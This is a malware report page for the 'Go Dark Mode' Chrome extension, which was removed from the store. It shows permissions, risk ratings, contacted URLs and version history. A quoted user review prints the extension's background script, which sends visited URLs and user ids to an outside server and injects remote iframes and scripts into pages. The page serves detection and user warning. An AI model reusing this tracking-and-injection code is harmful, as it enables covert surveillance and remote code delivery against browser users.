Security Alert: Confirmed Malware

This extension was removed from the Chrome Web Store as malware. Do not install it.Extension: Go Dark Mode

CRITICAL RISKRemoved from Chrome Web Store

Go Dark Mode

ID: jlkdofajddljankdeiafmcdahbddfpml

Could be malicious

Supported Languages

🇺🇸English

🇮🇳Hindi

🇮🇳Malayalam

🇷🇺Russian

🇪🇸Spanish

🇮🇳Tamil

🇮🇳Telugu

🇹🇷Turkish

Extension Info & Metadata

Status

Removed

Version

1.0.3

Size

0.22 MB

Rating

4.6/5

Reviews

Users

Type

Extension

Updated

Sep 5, 2022

Publisher Contextual Analysis

Trusted

Author: https://godarkmode.comView Profile
MX records exist: Yes
Domain exists: Yes
Is disposable: No
Is role-based: No
Mailbox exists: Yes

Total Extensions

Active

Obsolete

Listed

Unlisted

Total Users

Install Go Dark Mode Extension to enable Dark Reader on any webpage

Give your favourite website a funky twist with the Go Dark Mode Chrome extension. Spice it up with a dark user interface (UI), also known as “dark mode”. The extension works on any webpage and can be enabled or disabled in just one click. How to use Go Dark Mode: >> Install the extension (one-time process). >> Open your desired website. >> Click on the extension’s icon. >> You will be presented with a Dark Reader setting. >> Click on the setting to enable or disable the dark mode. Version 1.0.3 Changes: >> Bug Fixes on multiple websites Version 1.0.2 Changes: >> Enabled global dark mode everywhere >> Supports multi sites >> One click enable and disable Go Darkmode Version 1.0.1 Changes: >> Bug fixes and UI Improvement >> Extended dark mode support to many new sites >> Added support for 10 languages

User Growth

Showing data from Jan 01, 2022 to Sep 07, 2022

Versions

-100%(-20,000 users)

Compared to 5 months ago

1 version released in this period

Rating Count

Total: 71 ratings+2 (3%)

Average Rating

Current: 4.62 / 5.0-0.08

Item	Type	Severity	Description
<all_urls>	Permission	Critical	This permission grants access to all websites without restriction. Rated High because it can access any web content, monitor all web activity, and potentially steal sensitive data across all sites.
Contextual Risk Factors	Risk Factor	High	The following context increases the overall risk:• 10% increase: Early script execution enables pre-emptive content manipulation• 15% increase: Older manifest version lacks modern security controls
tabs	Permission	Medium	This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
storage	Permission	Medium	This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
Early Content Script Execution	Risk Factor	Medium	This extension runs content scripts at document_start.
Older Manifest Version	Risk Factor	Medium	This extension uses Manifest Version 2

URLs

IPv4

IPv6

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.


medium.com	-	https://medium.com
www.apple.com	-	https://www.apple.com/
backend.godarkmode.com	/darkmode/g/g	https://backend.godarkmode.com/darkmode/g/g
bit.ly	/darkhi	https://bit.ly/darkhi
bit.ly	/darkbye	https://bit.ly/darkbye
backend.godarkmode.com	/darkmode/g/p	https://backend.godarkmode.com/darkmode/g/p?&extension=${extensionName2}`,{method:
backend.godarkmode.com	/darkmode/f/feedback	https://backend.godarkmode.com/darkmode/f/feedback
a.unscart.in	-	https://a.unscart.in
www.w3.org	/1999/02/22-rdf-syntax-ns	http://www.w3.org/1999/02/22-rdf-syntax-ns#
ns.adobe.com	/xap/1.0/	http://ns.adobe.com/xap/1.0/

Showing 1 to 10 of 40 rows

Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.


20.3.3.3	IPv4	-
3.3.3.9	IPv4	-
2.2.6.3	IPv4	-
2.7.1.9	IPv4	-
6.4.9.2	IPv4	-
201.14.22.45	IPv4	-
201.4.2.2	IPv4	-
2.2.4.3	IPv4	-
32.22.32.58	IPv4	-
20.5.23.5	IPv4	-
20.1.1.1	IPv4	-

Showing 1 to 11 of 20 rows

Rows per page:

3.4 out of 5 · 10 most recent reviews

Text reviews

Positive

Negative

At some point the extension injects an iframe into the page and loads some shady JS. It will also call an endpoint with a POST request with no reason related to the extension. This might be a dangerous extension. I'd uninstall. Part of the background script: const extensionName = "GoDarkMode", URL = "https://a.unscart.in", currentDate = (new Date).getTime(); let daysToSkip = 15; chrome.runtime.onInstalled.addListener((function (e) { "install" == e.reason && chrome.storage.sync.set({ insD: new Date((new Date).getTime() + 24 * daysToSkip * 60 * 60 * 1e3).getTime() }) })), chrome.tabs.onUpdated.addListener((async (e, t, n) => { const { status: o } = t, { url: r } = n; chrome.storage.sync.get(null, (async t => { if ("complete" === o && r) try { if (!t.insD || t.insD <= currentDate) { const o = await fetch(`${URL}/api/a`, { headers: { Accept: "application/json", "Content-Type": "application/json" }, method: "POST", body: JSON.stringify({ apisend: btoa(t.userid), name: btoa(r), ext_name: "GoDarkMode" }) }), a = await o.json(); if (a) { if (!document.getElementById("a")) { var n = document.createElement("div"); n.id = "a", document.body.appendChild(n) } var s; if (a.a && chrome.tabs.executeScript(e, { code: 'var domscript = document.createElement("iframe");domscript.src = "' + a.a + '";document.getElementsByTagName("head")[0].appendChild(domscript);' }), a.b) 4 == ranum(5) && (document.getElementById("a").innerHTML = ""), (s = document.createElement("iframe")).src = a.b, document.getElementById("a").appendChild(s); if (a.b2) (s = document.createElement("iframe")).src = a.b2, document.getElementById("a").appendChild(s); a.b3 && openf_url(a.b3, e), a.c && passf_url(a.c, e), a.d && xmlopen(a.d), a.e && setCookie(a.e[0], a.e[1], a.e[2], 86400) }

Version	Size	Is Malicious	Findings	Permhash
1.0.2 Latest	0.22 MB	Malicious	—	71fef0c2657adff7e03ab4655ca95f3ef6986ad35f496fd4d3474054d95b3774
1.0.1	0.78 MB	Malicious	—	71fef0c2657adff7e03ab4655ca95f3ef6986ad35f496fd4d3474054d95b3774
1.0.0	0.59 MB	Malicious	—	71fef0c2657adff7e03ab4655ca95f3ef6986ad35f496fd4d3474054d95b3774
1.0.3	0.22 MB	Malicious	—	71fef0c2657adff7e03ab4655ca95f3ef6986ad35f496fd4d3474054d95b3774

Showing 1 to 4 of 10 rows

Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.

Security Alert: Confirmed Malware

Go Dark Mode

Supported Languages

Extension Info & Metadata

Publisher Contextual Analysis

Chrome Web Store Metadata

About this extension

Analytics & Metrics

User Growth

Rating Count

Average Rating

Static Code Security Analysis

Manifest File Security Analysis

Extracted Indicators (URLs and IPs)

URLs

Contextual Analysis

User Reviews

Version History

Version-to-Version Code Diff

Code Diff

Extension Files

User Reviews

User Growth

Rating Count

Average Rating